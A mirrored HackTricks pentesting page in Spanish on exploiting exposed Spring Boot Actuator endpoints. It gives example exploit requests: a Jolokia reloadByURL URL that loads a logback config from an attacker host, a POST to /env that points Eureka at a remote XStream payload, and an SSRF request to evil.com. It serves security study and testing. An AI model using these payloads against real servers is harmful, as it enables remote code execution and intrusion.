mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
91 lines
6 KiB
Markdown
91 lines
6 KiB
Markdown
# Actuadores de Spring
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## **Bypass de Autenticación de Spring**
|
|
|
|
<figure><img src="../../.gitbook/assets/image (5) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Desde** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
|
|
|
|
## Explotando los Actuadores de Spring Boot
|
|
|
|
**Consulta la publicación original en** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
|
|
|
### **Puntos Clave:**
|
|
|
|
- Los Actuadores de Spring Boot registran puntos finales como `/health`, `/trace`, `/beans`, `/env`, etc. En las versiones 1 a 1.4, estos puntos finales son accesibles sin autenticación. A partir de la versión 1.5 en adelante, solo `/health` y `/info` no son sensibles por defecto, pero los desarrolladores a menudo deshabilitan esta seguridad.
|
|
- Algunos puntos finales de Actuadores pueden exponer datos sensibles o permitir acciones dañinas:
|
|
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` y `/heapdump`.
|
|
- En Spring Boot 1.x, los actuadores se registran bajo la URL raíz, mientras que en 2.x, se encuentran bajo la ruta base `/actuator/`.
|
|
|
|
### **Técnicas de Explotación:**
|
|
|
|
1. **Ejecución Remota de Código a través de '/jolokia'**:
|
|
- El punto final del actuador `/jolokia` expone la Biblioteca Jolokia, que permite el acceso HTTP a MBeans.
|
|
- La acción `reloadByURL` puede ser explotada para recargar configuraciones de registro desde una URL externa, lo que puede llevar a XXE ciego o Ejecución Remota de Código a través de configuraciones XML manipuladas.
|
|
- URL de explotación de ejemplo: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
|
|
|
2. **Modificación de Configuración a través de '/env'**:
|
|
- Si están presentes las Bibliotecas de Spring Cloud, el punto final `/env` permite la modificación de propiedades ambientales.
|
|
- Las propiedades pueden ser manipuladas para explotar vulnerabilidades, como la vulnerabilidad de deserialización XStream en la URL de servicio Eureka.
|
|
- Ejemplo de solicitud POST de explotación:
|
|
|
|
```
|
|
POST /env HTTP/1.1
|
|
Host: 127.0.0.1:8090
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 65
|
|
|
|
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
|
```
|
|
|
|
3. **Otros Ajustes Útiles**:
|
|
- Propiedades como `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` y `spring.datasource.tomcat.max-active` pueden ser manipuladas para varios exploits, como la inyección SQL o la alteración de cadenas de conexión de bases de datos.
|
|
|
|
### **Información Adicional:**
|
|
|
|
- Se puede encontrar una lista completa de actuadores predeterminados [aquí](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
|
- El punto final `/env` en Spring Boot 2.x utiliza formato JSON para la modificación de propiedades, pero el concepto general sigue siendo el mismo.
|
|
|
|
### **Temas Relacionados:**
|
|
|
|
1. **RCE de Env + H2**:
|
|
- Detalles sobre cómo explotar la combinación del punto final `/env` y la base de datos H2 se pueden encontrar [aquí](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
|
|
|
2. **SSRF en Spring Boot a través de la Interpretación Incorrecta de Nombres de Ruta**:
|
|
- El manejo de parámetros de matriz (`;`) en nombres de ruta HTTP del framework Spring puede ser explotado para la falsificación de solicitudes del lado del servidor (SSRF).
|
|
- Ejemplo de solicitud de explotación:
|
|
|
|
```http
|
|
GET ;@evil.com/url HTTP/1.1
|
|
Host: target.com
|
|
Connection: close
|
|
```
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|